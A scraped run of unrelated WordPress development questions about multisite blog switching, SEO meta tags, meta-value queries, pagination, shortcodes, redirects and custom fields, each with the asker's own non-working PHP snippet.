When I call `switch_to_blog()` with a blog id, I don’t know if that blog actually exists. The functions returns always `TRUE`. Here is my problem:               switch_to_blog( PHP_INT_MAX );     $post = get_post( 1 );     restore_current_blog();      This will result in database errors which are exposed to the user. How can I prevent that? ### Real world use case I am the lead developer of Multilingual Press. When a user translates a post, she gets a screen like this: ![enter image description here](http://i.stack.imgur.com/tEQ2k.png) Now the following can happen:   1. She saves the post successfully and continues translating the post.   2. Another user, a network admin, deletes the German blog while she is writing.   3. She hits save again and gets database errors. I want to avoid that scenario. How can I check _quickly_ if the target blog exists? I call `switch_to_blog()` very often in multiple different classes, so it has to be fast.


Yoast is not adding og description

Wordpress SEO (Yoast) doesnt seeem to be adding the meta og description for any articles/posts at: http://www.magforwomen.com/ The rest of the meta og tags are added but no such luck with og decription i have tried this: OpenGraph descriptions not showing when using Wordpress SEO (Yoast) But even though the og description tag appears, its content appears blank.   I am using this for the moment :               <?php     $post = $wp_query->post;     $descrip = strip_tags($post->post_content);     $descrip_more = '';     if (strlen($descrip) > 155) {     $descrip = substr($descrip,0,155);     $descrip_more = ' ...';     }     $descrip = str_replace('"', '', $descrip);     $descrip = str_replace("'", '', $descrip);     $descripwords = preg_split('/[\n\r\t ]+/', $descrip, -1, PREG_SPLIT_NO_EMPTY);     $descrip = implode(' ', $descripwords) . $descrip_more;     echo "<meta property='og:description' content=\"$descrip\">";     ?>      Is there a reason why Yoast cant find content for og description?


Order by a meta fiel in query loop

I would like to sort my article from a category by a number added in a meta field. Here is the first step, I get the articles to display on the page.               <?php         $cat = get_post_meta( get_the_ID(), 'cat_page', true );     ?>      I begin the loop. This is on this loop I get my custom meta field.               <?php if ( $cat ) {         // run the custom query         $query = new WP_Query( 'category_name=' . $cat );              // run the custom loop         while ( $query->have_posts() ) { $query->the_post(); $my_meta = get_post_meta( $post->ID, '_my_meta', true ); ?>      **But how sort by a specific key of the meta (-> $my_meta['niveau-chiffre'])** I tried something like this               <?php         $my_meta = get_post_meta( $post->ID, '_my_meta', true );         $cat = get_post_meta( get_the_ID(), 'cat_page', true );              $args = array(             'category_name' => $cat,             'meta_key' => '_my_meta',             'orderby' => 'meta_value',             'order' => 'ASC',             'meta_query' => array(                 array(                    'key' => '_my_meta',                    'value' => 'niveau-chiffre',                    'meta_value' => 'niveau-chiffre',                    'compare' => '>=',                    'type' => 'NUMERIC'                 )             )         );     ?>      And the loop               <?php if ( $cat ) {         // run the custom query         $query = new WP_Query( $args );              // run the custom loop         while ( $query->have_posts() ) { $query->the_post(); $my_meta = get_post_meta( $post->ID, '_my_meta', true ); ?>      But at this point, I think the meta variables (_my_meta) ain't got. **EDIT** My meta looks like to this in the data base ![screen database](http://i.stack.imgur.com/xbKkq.jpg) And I tried something like this thanks to Generate WP               <?php         $cat = get_post_meta( get_the_ID(), 'cat_page', true );              $args = array(             'category_name' => $cat,             'order' => 'ASC',             'meta_query' => array(                 array(                    'key' => '_my_meta',                    'value' => 'niveau-chiffre',                    'type' => 'NUMERIC'                 )             ),             'orderby' => 'meta_value_num'         );     ?>      but it didn't work either.


Archives for custom post type based on a "date" meta value

I've got an "Event" custom post type. Each post has a meta field for the actual event date, which cannot be the posts's publish date, as most all the event dates will be in the future. With that, I'm trying to create an archive (year and month) for past and future events based on the meta field. Just can't wrap my head around how I would create a query for this and have it display like url.com/post- type/2011/01 The meta field date value is set as YYYY-MM-DD. Any help with this one is greatly appreciated! Thanks.


How should I use register_setting, add_settings_section, & add_settings_field in my plugin's options page?

I'm working on a settings section for my plugin, and after reading over Wordpress's documentation which is in ROGUH DRAFT status, and also the Creating Options Pages - which is also in "transition", I've been left with questions about how to correctly use the new Settings API to add an options page for my plugin. I have around 30 plugins installed and did a search for the keywords `register_setting`, `add_settings_section`, & `add_settings_field` and only found one match as part of Coffee2Code's plugin framework - for which I can't find any documentation anywhere. Can someone give me a working example, or provide a link to a simple working example, of how I should use the new "Settings API" to create a simple options page for my plugin?


.htpasswd asking for authentication on home page

I have Wordpress installed on a subdomain. I added a .htpasswd file to the wp- admin folder. This works as intended on the login page and if I try to cancel or close the pop-up window I get the server message,"This server could not verify that you are authorized to access the document requested". The problem is that it also asks for authentication on all the pages of my site but I don't get any server message when I cancel the authentication window. Any help would be appreciated.


How to automatically highlight syntax of code in a post?

I post my codes from different programing languages. Now, I want to highlight syntax of codes with different colors. But, doing it manually is time consuming. Is there any plugin or method which could do this automatically? Strictly, it should be done in CSS way.


stray <p> elements

I coded a wordpress shortcode for columns that basically inserts html via a shortcode. Problem is that wpautop adds stray p elements that renders the code invalid. To test put this into your functions.php:               function static_col_container($atts, $content) {         extract(shortcode_atts(array(             'foo' => 'bar'         ), $atts));              $content = do_shortcode($content);         $container = '
' . $content . '
';         return $container;     }          add_shortcode('static-cont', 'static_col_container');          function static_col($atts, $content) {         extract(shortcode_atts(array(         'space' => '2',         'class' => ''         ), $atts));              $content = do_shortcode($content);         $column_container = '
' . $content . '
';              return $column_container;     }          add_shortcode('static-col', 'static_col');      Usage is:               [static-cont]         [static-col]            put some content here...         [/static-col]         [static-col]            put some content here...         [/static-col]     [/static-cont]      I know that Wordpress uses wpautop to insert p tags which can be disabled via:               remove_filter('the_content', 'wpautop');      Problem is that now you have to enter every single p element yourself, which is a pain and makes the visual editor useless. Has anybody found a better solution?


Proper use of wp_get_object_terms

**Summary:**   How can I get the name and the permalink of the object returned by wp_get_object_terms()? **Detailled:**   I created a custom post type called "ge_zielgruppe" and a taxonomy called "ge_zielgruppe_taxonomy". The latter can be attached to posts and to "ge_zielgruppe" post types. On the single page of "ge_zielgruppe" I want to show the last few posts tagged with the same "ge_zielgruppe_taxonomy". I achieved this with               <?php     $theZielgruppe = wp_get_object_terms($post->ID, 'ge_zielgruppe_taxonomy');     $zielgruppe = new WP_Query(array('ge_zielgruppe_taxonomy' => $theZielgruppe->slug));     $zielgruppe->query('showposts=10');     if ($zielgruppe->have_posts()) :         while ($zielgruppe->have_posts()) :             $zielgruppe->the_post();     ?>     <<--archive-stuff-->>     <?php         endwhile;     endif;     ?>      This part works (however, I don't know if it's elegant). Now I'd like to put a link right after these 10 posts, looking like this               <a href="<<--permalink to archive of 'ge_zielgruppe_taxonomy'-->>" rel="bookmark" title="More posts for <<--Name of 'ge_zielgruppe_taxonomy'-->>; ">More posts for <<--Name of 'ge_zielgruppe_taxonomy'-->>      So how do I get   1. `<<\--permalink to archive of 'ge_zielgruppe_taxonomy'-->>` and   2. `<<\--Name of 'ge_zielgruppe_taxonomy'-->>`


Numeric Pagination Not working

I wrote a function that does (it's unrefactored, bare with me):                   protected function _index_numeric_posts_pagination($options){             global $wp_query;             $total = $wp_query->max_num_pages;                  if($total > 1) {                 if (!$current_page = get_query_var('paged'))                     $current_page = 1;                      if(get_option('permalink_structure') !== null){                     $format = '&page=%#%';                 }else{                     $format = 'page/%#%/';                 }                      return paginate_links(array(                     'base' => get_pagenum_link(1) . '%_%',                     'format' => $format,                     'current' => $current_page,                     'total' => $total,                     'mid_size' => isset($options['mid_size']) ? $options['mid_size'] : 4,                     'type' => isset($options['type']) ? $options['type'] : 'list',                     'show_all' => isset($options['show_all']) ? $options['show_all'] : false,                     'prev_text' => isset($options['prev_text']) ? $options['prev_text'] : 'Next',                     'next_text' => isset($options['next_text']) ? $options['next_text'] : 'Previous',                ));             }         }      Essentially it creates, by default a list style numeric pagination. Everything works, it shows up, it functions ..... The issue is that clicking on page two, or 3 or any page gives me a link like such: `http://127.0.0.1/wordpress/?author=1&page=2` Which is what you want, until you realize that pagination is NOT working at all. So I tested it by clicking page 3 and got: `http://127.0.0.1/wordpress/?author=1&page=2&page=3` and I thought - ok so surley I messed up pagination, lets go back to the `<\- previous, Next ->` link style, pagination works as it should, `http://127.0.0.1/wordpress/?author=1&page=2` actually shows page 2's posts when using NON numeric pagination.... Can some one tell me whats wrong with my function to make numeric pagination not work?


Placing google maps into a wordpress page using the wordpress page editor

I'm creating a website for a restaurant, I have working code that does what I want. Displays a map. Under the map, I've a form with two inputs. The first input allows someone to specify where they want directions from and the second input is already filled out, it's set as the location of the restaurant. On submit, the directions are displayed on the same page. My problem is, the code works fine on a simple html page, but when I try to add the code to a page with the WordPress admin panel using the text tab in edit page, the map displays, but form doesn't seem to be working. Here's the working code

Get directions:

                         From: <input id="fromAddress" name="from" value="" class="textbox txtMapDirections" type="text">

                         To:         <input id="toAddress" name="to" value="" class="textbox txtMapDirections" type="text">

                         <input name="submit" value="Get Directions" onclick="calcRoute(); return false" class="button button_directions" type="submit">


Imported custom post type are not editable

I've just imported content into my wordpress (3.5.2) database and I have a number of custom post types. My problem is that I cannot admin any of the custom post type content that I have just imported because the title of my posts -- although they are appearing -- are not hyperlinked in my wordpress admin pages nor are the "Edit | Quick Edit | Trash | View" links appearing -- so I cannot access any of my posts to admin them. Even more strange, this problem is specific to the posts that I have imported and not new posts. For example, I registered a new post in that custom post type and it worked fine in my admin -- with all admin links appearing and working fine. So the problem seems to be with the posts that I have imported (which I did via SQL, moving from one table to another, because it is a very large data set). Does anyone have suggestions for how I can fix this so that I can admin my imported custom post type content?


get_current_site() not returning site name

The function `get_current_site()` that's in my themes' footer.php file doesn't return the 'site name' property as specified in the docs (and expected in the theme). The purpose of the function is to return all details about the parent site on a multi-site setup. The only return values I am getting are the blog_id and path. eg:               <?php print_r(get_current_site());?>      Returns:               stdClass Object ( [id] => 1 [domain] => www.mydomain.co.uk [path] => / [blog_id] => 1 )


How to inhibit dashboard and profile management access to normal users?

I am developing a site using Wordpress, phpbb3 and WP phpbb Bridge. Users have to manage their profile through phpbb3 and I would like to inhibit normal users access to page mysite.com/wp-admin/ . How can I implement that?


Convert Wordpress.com embed links to normal embeds

I've given the task of moving several well established blogs from wordpress.com into an independent hosting using Wordpress. Wordpress.com uses a special parser for taking stuff like this:               [youtube=http://youtu.be/JN3n34dS]      and converting this to a YouTube embed (for example, this happens with other links too, such as Google Maps, etc). Is there a systematic way to convert all those links to normal embeds? Thanks!


Table appears in Visual mode of editor but not in preview or after publish

I'm using compare theme and I am facing a problem with the `tables`. I have created a HTML table, which when I go to Visual mode appears to be correct. ![enter image description here](http://i.stack.imgur.com/bUI3M.png) But when I preview/publish it then I don't see the table. You can check it here. Only the text of cells is there. Below is the part of code of `single-product.php` file which generates the page.

<?php echo stripslashes(get_the_title()); ?>
                     <?php                          // Check if has global product description ( also stored as post meta )                                  $q = "SELECT product_description FROM ".$wpdb->prefix."pc_products_custom WHERE product_id = ".$post->ID;                        $result = $wpdb->get_results($q);                     $content = $result[0]->product_description;                          // If no global product description use default one.                          if ($content == ''){                         $q = "SELECT rel.id_feed, rel.id_product FROM ".$wpdb->prefix."pc_products_feeds_relationships rel JOIN ".$wpdb->prefix."pc_feeds fe ON rel.id_feed = fe.id WHERE rel.id_product = ".$merchants[0]->id_product." AND fe.feed_use_master_description = 1 AND fe.active = 1 LIMIT 1";                         $results_f = $wpdb->get_row($q);                         $results_desc;                         if(!empty($results_f)){                                  $q = "SELECT slug FROM ".$wpdb->prefix."pc_products_merchants WHERE feed = ".$results_f->id_feed;                             $results_s = $wpdb->get_row($q);                                  $q = "SELECT feed_product_desc FROM ".$wpdb->prefix."pc_products WHERE id_product = ".$results_f->id_product." AND id_merchant='".$results_s->slug."' LIMIT 1";                             $results_desc = $wpdb->get_row($q);                              }                            if (!empty($results_desc->feed_product_desc)){                             $content = $results_desc->feed_product_desc;                         } else {                                             $content = get_the_content();                             $content = strip_tags($content);                         }                     }                          $size = 3500;                     if(strlen($content) > $size) {                         while(isset($content[$size]) && $content[$size] != ' ') {                             $size++;                         }                         $display_content  = substr($content,0,$size).''.substr($content,$size,strlen($content)).'... '.__('More','framework').'';                         $display_content .= '';                     } else {                         $display_content = $content;                     }                     ?>                     <?php echo $display_content; ?>                            I don't know PHP but I guess that `$display_content` is skipping the table. Does anybody know the reason of this issue and how can this be solved? I tried the `Easy-Table` and `Tablepress` plugins but they also didn't work.


wp_redirect only works for external pages

I want non logged in users to be redirected to the homepage which has a login/register form. After logging in all pages will be accessable. I've added the following code to my header.php               <?php if( !is_user_logged_in() )     wp_redirect('http://krins.frisweb.nl' ); exit(); ?>      This worked locally (with a localhost url) but after uploading the site to a test subdomain it's causing an error: ERR_TOO_MANY_REDIRECTS If I change the url to something else the redirect is working again but for some reason it breaks when replacing the url with the url of the homepage/site. Thanks for your help.


Where is the template for the 'standard' format of a post in the theme twentythirteen?

I have selected the 'standard' format for a post: ![enter image description here](http://i.stack.imgur.com/264Tv.png) I am now trying to edit the layout of posts, in index.php I can see the following line: get_template_part( 'content', get_post_format() In the directory of twentythirteen I see several content pages which I am assuming is the post layout for the different formats I can select in the post.   * content-aside.php   * content-audio.php   * content-chat.php   * content-gallery,php   * content-image.php   * content-link.php    * content-none.php   * content-quote.php   * content-status.php   * content-video.php  I would have expected to see a content.php or content-standard.php, but I can't find anything that affects the layout. Where is this file (if it exists)?


Add custom field to Category

I'd like to Add custom field to Category. I mean when I creat a category I only have Name: Slug: Parent: Description: Since I have a TV Series Site, I want to add some more fields, I want something like this, when I create a new category (Category=Series) Name: Artist: Year: Type: Genre: Summary: Slug: Parent: Description: And so on... Any help please? Thanks in advance.


How to set a page as homepage in stead of the newspages?

I need some help. I want the same as on this site: http://www.123ipad.nl/ (this is my website)   When you go to the home url you come to a page in stead of the newspage.   The newspages are in the submap /ipad **So i have two questions:**   1: how do i get the newspages in the submap /ipad 2: How do i set my first created page permalink as homepage? Same as on this image: > ![enter image description here](http://i.stack.imgur.com/fBu2g.jpg) where you see nothing after `http://www.123ipad.nl/` )


Creating a drop-down and filter button for two custom taxonomies assigned to a custom post type

I'm using the following code to create drop-down menu and filter button for two custom taxonomies assigned to a custom post type called Page Content (full previous code here):                       function parse_query($query) {                 global $pagenow;                 $qv = &$query->query_vars;                 if ($pagenow=='edit.php' &&                     isset($qv['taxonomy']) && $qv['taxonomy']=='locations' &&                     isset($qv['term']) && is_numeric($qv['term'])) {                         $term = get_term_by('id',$qv['term'],'locations');                         $qv['term'] = $term->slug;                     }                 if ($pagenow=='edit.php' &&                     isset($qv['taxonomy']) && $qv['taxonomy']=='page_sections' &&                     isset($qv['term']) && is_numeric($qv['term'])) {                         $term = get_term_by('id',$qv['term'],'page_sections');                         $qv['term'] = $term->slug;                     }             }             // Add filter drop-down menu for the custom taxonomies             function restrict_manage_posts() {                 global $typenow;                 global $wp_query;                 if ($typenow=='page_content') {                     $taxonomy = 'locations';                     $locations = get_taxonomy($taxonomy);                     wp_dropdown_categories(array(                         'show_option_all' =>  __("Show All {$locations->label}"),                         'taxonomy'        =>  $taxonomy,                         'name'            =>  $taxonomy,                         'orderby'         =>  'name',                         'selected'        =>  $wp_query->query['term'],                         'hierarchical'    =>  true,                         'depth'           =>  3,                         'show_count'      =>  true,  // This will give a view                         'hide_empty'      =>  true,   // This will give false positives, i.e. one's not empty related to the other terms. TODO: Fix that                     ));                 }                 if ($typenow=='page_content') {                     $taxonomy = 'page_sections';                     $page_sections = get_taxonomy($taxonomy);                     wp_dropdown_categories(array(                         'show_option_all' =>  __("Show All {$page_sections->label}"),                         'taxonomy'        =>  $taxonomy,                         'name'            =>  $taxonomy,                         'orderby'         =>  'name',                         'selected'        =>  $wp_query->query['term'],                         'hierarchical'    =>  true,                         'depth'           =>  3,                         'show_count'      =>  true,  // This will give a view                         'hide_empty'      =>  true,   // This will give false positives, i.e. one's not empty related to the other terms. TODO: Fix that                     ));             }         }         YourSite_PageContent::on_load();     }      But I'm getting the following warning:                   Parse error: syntax error, unexpected T_STRING,      expecting T_FUNCTION in /home/alex/www/wpac/wp-content/themes     /prominent/functions/custom-post-types.php on line 181       This is line 181: `YourSite_PageContent::on_load();`


UTF-8 Characters in URL - IE problem

I'm trying to create Google calendar links from posts, I do it like so:               $base_url = 'http://www.google.com/calendar/event';             $params = array(                 'action' => 'TEMPLATE',                 'text' => strip_tags(get_the_title()),                 'dates' => $dates,                 'details' => strip_tags( get_the_excerpt() ),                 'location' => $location,                 'sprop' => get_option('blogname'),                 'trp' => 'false',                 'sprop' => 'website:' . home_url()             );             $url = add_query_arg( $params, $base_url );             return esc_html($url);      but IE reads UTF-8 chrachters in URL as percent-encoded (this is a general issue, because the standard "pretty urls" are precent-encoded in IE as well), so instead of               someurl.com/שלום      I get               someurl.com/%D7%A9%D7%9C%D7%95%D7%9D      Is there a solution for this problem on WP side? I'm not sure how to tackle this issue, could it be in WP core or is there something I can do for my generated calendar urls. I must note that FX and Chrome encode the characters correctly. Thanks


Plugin menu addition in multisite

$wp_admin_bar->add_menu( array(                 'parent' => $menu_id,                 'id'     => $menu_id . '-example',                 'title'  => __( 'Example Menu Item', 'example' ),                 'href'   => get_admin_url( $blog->userblog_id, 'edit.php?post_type=example' ),             ) );      Lets say i have a plugin that add a new menu item for an example custom post type to blog menu. Problem is if i have lots of blogs but this plugin activated on only 1 blog, its only showing when i am in that blog and adding example menu to every blog menu group even that plugin is not activated in those blogs.. **Example:** I activate plugin in blogid:2 but didnt activate it in blogid:3 or blogid:4. When i am in blogid:2 plugin adding that menu to all blogs. When i am in blogid:3 or blogid:4, i cant see that menu in blogid:2's list What is proper way to fix this? **Update:** I am trying to add those links for each blog activated that plugin in "My Sites" list


Wordpress Find Duplicate Post By Content

Is there any way to find similar/duplicate wordpress posts by post_content. I have tried "Find Duplicates" plugin but it takes a lot of time to search since I have more than 7000 posts in my database. What I want to achieve is search the posts published in current week with all the old posts and find similar posts and delete them.


use of nickname and nicename?

nicename is used for author slug in url. But can anyone tell what is the especial use/application of 'nickname' user meta field in wordpress ? or it is just another extra field to show nickname.


Manipulate Output of wp_list_something: select menu instead of li's

I'm working on a responsive webdesign where my navigation should swap into a select-menu when resizing the window in smaller sizes. Is it somehow possible to add another param to functions like `wp_list_categories()` or `wp_list_pages()` so that it outputs `<option>item</option>` instead of `<li>item</li>`? So what I wanna do is use `wp_list_pages()` and `wp_list_categories()` to ouput its default stuff in order to have a normal menu. However I also want to ouput the same pages and categories in a second `<select><option>…` navigation that is hidden by default but shown when a media-query is triggerd. Any idea how to dynamically produce this second menu? Thank you in advance!


Backend search; include CPT meta?

I've currently got a CPT with 2 part titles; I've got everything working perfectly on the frontend. But when it comes to searching for a post, the post you're searching for doesn't always show up because part of the title is in the meta for that post. Is there any way that I can include the meta in the backend search for the CPT?


Get meta_id along with meta_key and meta_value

Is it somehow possible to `get_post_meta` or `get_post_custom` and have meta_id returned along with the `meta_value`? For example:               $data = get_post_meta( $post_id, 'my_key' );     // returns this:     array( 0 => array('myvalue1', 1002 ), 1 => array( 'myvalue2', 1003 ));      The basic idea is that because there may be multiple meta_values for the same `meta_key`, I would have to know the `meta_id` in order to reliably update/delete the post meta.


offset WP_Query by negative 1

I have an event loop and I was wondering if it's possible to somehow offset the loop by -1 so the prev and next posts of the current post are shown. --edit-- Okay thanks for your comments, my question was terribly formatted. I think I can clarify. When a visitor is on a single-event page. I want to show 3 or 4 events at the bottom of the page; the first two being past events and the next 2 being upcoming events. So what I think I will need to do is query all of the events and get the position of the current event result and subtract 2 from that number and apply that number to the offset.                   <?php $upcoming_events_args = array(         'post_type' => 'event',         'meta_key' => 'start_date', // name of custom field         'orderby' => 'meta_value_num',         'order' => 'ASC',         'posts_per_page' => '3',           'meta_query' => array(           array(             'key' => 'start_date',             'value' => $date_of_page,             'compare' => '>=',             'type' => 'DATE'           ))         );


Hide WooCommerce Product Gallery Images

I have a problem with adding images to the content/product description and stopping them from showing in the gallery below the featured image. They are downloadable products & some of the images are just to make the product descriptions look nicer, but I certainly don't want them in a gallery. Is there anyway I can add images to the product description without them showing in the gallery?


select a single val though a table in wordpress

The table is like this:               category_id   category_name   category_parent_name      I would like to get `category_id` by using `category_name`. I searched online, and the code is like below: `$ad_cat` is the category name.               global $wpdb;       $tbl_categories = $wpdb->prefix."awpcp_categories";        $retrieve_data = $wpdb->get_results( "SELECT * FROM $tbl_categories where category_name =".$ad_cat );     $category_id=intval($retrieve_data->category_id);      I echo'ed category name and `id` for testing. The name shows fine, but `id` is always `0`. Any idea or solution?


hide Wordpress 3.1 admin menu

I just updated one of my blogs to the new wordpress 3.1 and i need to hide the admin menu that shows up on top of the pages. How do i disable it ? thanks


sort and display posts by custom field (wp-query and the loop))

i only want to show upcoming events posts on the homepage. i have made a custom field using the 'custom field suite' plugin, called 'ENDS' representing the date an event ends. as you can tell, i simply want upcoming events on the home, with the nearest to present date being first in line. upon expiring, i want it filed in the 'archive', which is visible on another page (which should also order archived event posts beginning with most recently expired event). the template uses infinite scroll to load posts, and this is my index file, with the default loop: http://pastebin.com/x3NzZBZX i need to integrate something like this, but have had no success:               <?php     $query = new WP_Query(         'post_type' => 'post',         'orderby' => 'meta_value',         'meta_key' => 'ENDS',         'order' => 'ASC',         'posts_per_page' => -1,         'meta_query' => array(             'key' => 'ENDS',             'value' => date('Y-m-d H:i:s'), // now             'compare' => '>='         ),     );     ?>          <?php while ( $query->have_posts() ) : $query->the_post(); ?>          <a href="<?php the_permalink(); ?>">         <?php the_title(); ?>     </a>          <?php endwhile; ?>


Overwriting forced wordpress CSS styles

I was thinking of putting this on the wordpress stackexchange site but it has to do more with CSS then Wordpress. However unless I have to go into some plugin css files to customize the css then I have to go there and ask this question? I'm looking to overwrite some !important css styles that are coming from either the theme I have (Genesis Framework with a customized Minimum Pro child theme) or the gravity forms plugin. You'll see here on this page that I have a form that resizing with the window. At 500 px I want all the select and input fields width to be 100%. I've located the specific spot in my media queries and placed the code there. However because width: 95% !important; has been set some where (not in my stylesheet) my 100% is being overwritten with 95%. These are the styles I'd want to overwrite               .gform_wrapper .ginput_complex input[type=text], .gform_wrapper .ginput_complex input[type=url], .gform_wrapper .ginput_complex input[type=email], .gform_wrapper .ginput_complex input[type=tel], .gform_wrapper .ginput_complex input[type=number], .gform_wrapper .ginput_complex input[type=password], .gform_wrapper .ginput_complex select {     width: 95% !important;     }          .gform_wrapper .ginput_complex .ginput_right input[type=text], .gform_wrapper .ginput_complex .ginput_right input[type=url], .gform_wrapper .ginput_complex .ginput_right input[type=email], .gform_wrapper .ginput_complex .ginput_right input[type=tel], .gform_wrapper .ginput_complex .ginput_right input[type=number], .gform_wrapper .ginput_complex .ginput_right input[type=password], .gform_wrapper .ginput_complex .ginput_right select {     width: 95% !important;     }      This is my overall overwrite style I'd like to apply to ALL forms               @media only screen and (max-width: 500px)     input, select, textfield {     width: 100%!important;     }      Because this is wordpress I don't have the HTML but I've taken a screenshot of the css styles (you can also right click on the one of the inputs and see this as well). ![enter image description here](http://i.stack.imgur.com/mpPAU.jpg) My question is how do I overwrite these top level styles with my media query set width? I've played with the styles but obviously I've missed something? Hoepfully?


Pagination in custom loop for custom post type throwing 404 error

I searched around for similar problems but it did not worked for me, im a total beginner with WordPress. I made a custom query but the pagination throwing me 404 error ## Query               $paged = (get_query_var('page')) ? get_query_var('page') : 1;          $default = array(         'post_type' => 'dlm_download',         'posts_per_page' => 2,         'paged' => $paged,         'meta_key' => '_featured',         'dlm_download_category' => $term->slug     );          $args = $default;          foreach ($downloads as $download) :  setup_postdata($download);      // loop here     endforeach;      ## Pagination               $the_query = new WP_Query( $args );                     $big = 999999999;                      $pagenum = str_replace( $big, '%#%',  get_pagenum_link( $big  ) );                          echo '
';                         echo paginate_links( array(                             'base' => $pagenum,                             'format' => '?paged=%#%',                             'current' => max( 1, get_query_var('paged') ),                             'total' => $the_query->max_num_pages                         ) );                     echo "
";      And when i get `http://mysite.com/?dlm_download_category=kategoria-1&paged=2` 404 Error, could please someone give me a hint on this?


Add icon near meta box title in posts/pages

I'm trying to add some "help icon" that will be use to show "help text" with the help of the tooltip or pointers to admin section. Now I'm trying to understand how can I add in the posts/pages in every field I want. For example, I want near post/page title, then near every meta box, etc... My question is, can this be done by some hook or filter, or do I need to use jquery for this?


How to apply the "retrieve_password_message" filter?

I would like to change the body of the password reset email that WP sends out with something more friendly. I am trying to use the "retrieve_password_message" filter but I am messing it up. Can someone kindly post a sample code?


create category upon saving post and save post in that category

What I'm trying to do is similar to this one but we have a bit of difference in getting our info. Basically, when a user creates a post (under **suggestions** custom post type) on my site, it is not published right away but is in pending review status. I'm using Gravity forms so user can create posts/suggestions on the frontend. I attached this frontend form on particular pages. What I want is that upon saving post (pending review) of the user, a category under Suggestions post type will be created depending on the **name and slug of the current page** where the form is attached. Of course it shouldn't be created again if it's already there (eg. there was another user who first posted suggestion). For example: The user posted a suggestion on the Actors page (of Movie post type). This page has slug _actors_. If he is the first to suggest on this page, a category should be created under Suggestions post type with the name _Actors_ and slug _actors_ in which his post (or suggestion) should be saved. If he's not the first to suggest, then there's no need to recreate the category because it was already created before by someone, it just needs to be saved under this category (which can be handled by the Gravity forms so long as the category is existing and not to be created). I'm not sure of what to put in functions.php. Anyone who can help me with this? I hope I made myself clear here.


Using custom url parameters in a page

Im trying to create a custom image galleri that retrieves images from posts as can be seen here http://kurdaktuellt.se/galleri/ problem in hand is that I'm trying to make the url somewhat user friendly and I've searched the internet for an answer and the closest thing I've come up with is               add_action( 'init', 'wpse12065_init' );     function wpse12065_init()     {         global $wp;         $wp->add_query_var('images');              add_rewrite_rule(             '^galleri/images/([^/]*)/?',             'index.php?pagename=galleri&images=$matches[1]',             'top'         );          }      This url works just fine http://kurdaktuellt.se/?pagename=galleri&images=1452 but this one http://kurdaktuellt.se/galleri/images/1598/ shows nothing Any help is very much appreciated Regards


Is it possible to request several post types from a feed?

If so, how should the query URL be formatted? I've tried:   * `post_type=cat1&post_type=cat2`   * `post_type=cat1,cat2`   * `post_type=cat1+cat2` This bug report says you could use `post_type[]=cat1&post_type[]=cat2` if not for the fact that "all request parameters are converted to strings". Is this still the case and what does it mean?


Highlight comments made by registered users of the site

How can I highlight comments that have been made by registered users of my blog?


Create variable from widget instance

Is it possible to return a widget instance into a variable or array? I'm thinking something along the lines of `$widget['title']`, `$widget['content']` etc. I have tried inspecting the `global $wp_registered_widgets` variable but this only seems to contain information relevant to rendering the widget, not the widget content itself. I am also able to retrieve the rendered widget by using               ob_start();      dynamic_sidebar('widgetarea');      $sidebar = ob_get_contents();         ob_end_clean();      Which I suppose I could then parse into a series of dom nodes with jQuery parseHTML method, however this seems like a very messy way to go about it and I wonder if anyone could suggest a more elegant way?


ASCII to Unicode conversion and then save the data into database using WP post editor field

Here is the WordPress default post editor as we know: ![WordPress default post editor](http://i.stack.imgur.com/wP56d.png) You may notice, here are some garbage texts in the Title and Description field. They are ASCII texts. ### PLOT In Bangla, a widespread software named _Bijoy_ was basically developed on ASCII keyboard patching. Now though there are Unicode based solution available, but some people are till using the ASCII one. So, we need to convert the ASCII based texts into Unicode based texts in Bangla scripts using converters like:   * Avro Converter [Beta],   * Online Unicode Converter by Morshed, etc. ### SCENARIO We developed a WordPress based theme for Bangla News Portals. On client-side, they are requested to use our CMS in a four-step process:   1. Copy the ASCII based texts from their text-editors (MS Word, Quark Express etc.)   2. Paste them into any of the suggested converter   3. Convert them into Unicode   4. Copy and Paste them to the Post Editor and then publish Thing was going fine until a client demanded a Tweak into the CMS:     1. Copy the ASCII based texts from their text-editors (MS Word, Quark Express etc.)   2. Paste them to the Post Editor and then publish But in the meantime, the editor **must convert the ASCII texts into Unicode and store the Unicode texts into database**. * * * ### WHAT WE NEED What we want is to **integrate some javascripts** into the _title text field_ (post title field), _textarea_ (post description field), _any custom fields_ etc. that will do twofold jobs at a time when we hit the "publish" button to publish a post:   * Convert the ASCII texts into Unicode as we get the `js` from Online Unicode Converter by Morshed   * Insert the converted Unicode texts into db as it does always So the ultimate question is:   **How to integrate javascipts into WordPress post editor's form items: text boxes, custom fields, submit button etc.?**


Renaming profile sections

wondering if anyone can help, i need to change the name of the sections on the user profile page (the name, contact info titles) etc I know how to change the fields via a functions plugin but can't figure out the section names. Ideally I'd prefer to do it via functions plugin than editing core files. Thanks


If no input don't display?

First of all i am sorry if my question is not correct formulated, i am new in to wordpress and php. I hope i am not being too silly. i have this:

Locatie-   <?php echo get_the_term_list( $post->ID, 'location', '', ' ', '' ); ?>

Tip proprietate-  <?php echo get_the_term_list( $post->ID, 'property', '', ' ', '' ); ?>

Camere -   <?php echo get_the_term_list( $post->ID, 'bedrooms', '', ' ', '' ); ?>

Băi -   <?php $bath=get_post_meta($post->ID, 'wtf_bath', true); echo $bath; ?>

Garaj -   <?php $garage=get_post_meta($post->ID, 'wtf_garage', true); echo $garage; ?>

Pret-   <?php $price=get_post_meta($post->ID, 'wtf_price', true); echo $price; ?>

Suprafata-   <?php $suprafata=get_post_meta($post->ID, 'wtf_suprafata', true); echo $suprafata; ?>

      I want if the input data is empty i don't want to be desplayd in the main div For example if the bath input data is left empty i want the:
Băi -   <?php $bath=get_post_meta($post->ID, 'wtf_bath', true); echo $bath; ?>
      not to appear anymore


Add Placeholder in WordPress Editor Content Box

I want to add a placeholder to the WordPress Editor content box. When you create a new post, the title field shows "Enter Title Here" exactly same like editor. I have used a filter to add text in the editor, but the behaviour of the filter is not the same as the title field. When I click on title field, "Enter Title Here" is replaced with a blank space. Code:               add_filter( 'default_content', 'my_editor_content' );          function my_editor_content( $content ) {         $content .= '<b id="enter_desc_here" style="color: #BBBBBB;font-size: 1.7em;">Enter Description Here</b>';         return $content;     }      Is it possible to use similar code to add a place holder to the Editor's Content box?


Use WordPresss menus with anchors

